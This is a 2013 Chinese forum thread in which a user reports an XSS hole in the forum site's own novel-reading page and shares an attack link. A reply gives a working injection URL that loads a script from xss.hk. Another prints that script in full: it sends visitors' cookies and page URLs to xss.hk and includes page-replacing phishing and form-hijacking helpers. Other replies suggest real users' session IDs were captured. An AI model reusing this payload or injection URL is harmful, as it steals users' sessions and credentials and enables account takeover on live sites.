已掉线,重新登录

首页 > 绿虎论坛 > 历史版块 > 编程 > PHP > 讨论/求助

标题: xss之偶遇

作者: @Ta

时间: 2013-08-07

点击: 4379

绝对是碰巧。。。只想看看小说来,手贱了一小下。$xc参数没有任何过滤 也不能说没有 它会在script标签中单引号加反斜杠。嘿嘿
我还是成功了
http://baid.us/mypT
就是这个。
真的只是偶遇。

[隐藏样式|查看源码]


『回复列表(12|隐藏机器人聊天)』

1.
用户被禁言,发言自动屏蔽。
(/@Ta/2013-08-07 16:11//
被禁言
)

2. 我觉得我可能上当了,赶快改密码
(/@Ta/2013-08-07 16:47//)

3. @老虎会游泳
(/@Ta/2013-08-07 16:51//)

4. @Cute寂寥,域名有问题?
@Xily,没找到你的记录的说 ,收集了这么多sid 果然还是无法逆向啊
(/@Ta/2013-08-07 17:56//)

5. 哼
(/@Ta/2013-08-07 18:02//)

6. xss.hk………………………………


在虎林混,还是要自己写个获取信息的吧
(/@Ta/2013-08-07 18:07//)

7. @,自己写?我没这么厉害  xsser的那个我搭建不成功 当时捣鼓了一会子 懒得弄了 再说只是测试 无所谓了
(/@Ta/2013-08-07 18:18//)

8.
用户被禁言,发言自动屏蔽。
(/@Ta/2013-08-07 18:26//
被禁言
)

9. http://hu60.cn/wap/read.php?id=rdtxt&d=cy&p=3&z=500&y=1&xc=\%22%3E%3Cscript%20src=http://xss.hk/SOMGC8?1375856523%3E%3C/script%3E%3C
@简单,uc怀疑没用。。。
(/@Ta/2013-08-07 18:37//)

10. (function(){(new Image()).src='http://xss.hk/index.php?do=api&id=SOMGC8&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); if(''==1){keep=new Image();keep.src='http://xss.hk/index.php?do=keepsession&id=SOMGC8&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; ;;var xss = function(){   var x = {    'name':'xss.js',     'version':'0.1',     'author':'jackmasa'  };   x.x=function(id){return document.getElementById(id)};   //容错取值
  x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};   //浏览器   x.i={    i:!!self.ActiveXObject,    c:!!self.chrome,     f:self.mozPaintCount>-1,    o:!!self.opera,    s:!self.chrome&&!!self.WebKitPoint   };   //UA   x.ua = navigator.userAgent;   //判断是否为苹果手持设备
 x.apple=x.ua.match(/ip(one|ad|od)/i)!=null;   //随机数
 x.rdm=function(){return~~(Math.random()*100000)};
 //url编码(UTF8)  x.ec=encodeURIComponent;
  x.html=document.getElementsByTagName('html')[0];   /*    * 销毁一个元素
  */  x.kill=function(e){    e.parentElement.removeChild(e);  };
  /*    *绑定事件
   */  x.bind=function(e,name,fn){    e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);  };   /*    * dom准备完毕时执行函数
  */  x.ready=function(fn){    if(!x.i.i){      x.bind(document,'DOMContentLoaded',fn);    }else{       var s = setInterval(function(){        try{           document.body.doScroll('left');          clearInterval(s);          fn();        }catch(e){}      },4);    }  }
 /*    * 同源检测
  */  x.o=function(url){     var link = x.dom('<a href="'+encodeURI(url)+'">',2);     return link.protocol+link.hostname+':'+link.port==location.protocol+location.hostname+':'+link.port;   };   /*    * html to dom    */  x.dom=function(html,gcsec){    var tmp = document.createElement('span');    tmp.innerHTML=html;    var e = tmp.children[0];     e.style.display='none';    x.html.appendChild(e);     gcsec>>0>0&&setTimeout(function(){      x.kill(e);     },gcsec*1000);     return e;  };
  /*    * ajax   */  x.ajax = function(url,params,callback){    (params instanceof Function)&&(callback=params,params=void(0));    var XHR = (!x.o(url)&&window.XDomainRequest)||           window.XMLHttpRequest||          (function(){return new ActiveXObject('MSXML2.XMLHTTP')});    var xhr = new XHR();     xhr.open(params?'post':'get',url);     try{xhr.setRequestHeader('content-type','application/x-www-form-urlencoded')}catch(e){}    callback&&(xhr.onreadystatechange = function() {       (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);    });    xhr.send(params);  };
  /*    * no ajax    */  x.najax=function(url,params){    if(params){      var form = x.dom('<form method=post accept-charset=utf-8>');       form.action=url;       for(var name in params){         var input = document.createElement('input');         input.name=name;         input.value=params[name];        form.appendChild(input);       }      var iframe = x.dom('<iframe name=_'+x.rdm()+'_>',6);       form.target=iframe.name;       form.submit();     }else{       new Image().src=url+'&'+x.rdm();     }  };
  /*    * 钓鱼
  */  x.phish=function(url){     x.ajax(url,function(){       document.open();       document.write(this.responseText);       document.close();      history.replaceState&x.o(url)&&history.replaceState('','',url);    })   };
  /*    * 表单劫持
  */  x.xform=function(form,action){     form.old_action=form.action,form.old_target=form.target,form.action=action;    var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');     form.target=iframe.name;
    setTimeout(function(){       x.bind(iframe,'load',function(){         form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();      })     },30);   };   /*    * 函数代理
  */  x.proxy=function(fn,before,after){     return function(){       before&&before.apply(this,arguments);      var result = fn.apply(this,arguments);       after&&after.apply(this,arguments);      return result;     }  };   return x; }();
(/@Ta/2013-08-07 18:54//)

11. @旧人,js 怎么了
(/@Ta/2013-08-07 22:21//)

12. 勇士,买个登山包吧。
(/@Ta/2013-08-08 00:39//)

回复需要登录

7月4日 21:32 星期五

本站由hu60wap6驱动

备案号: 京ICP备18041936号-1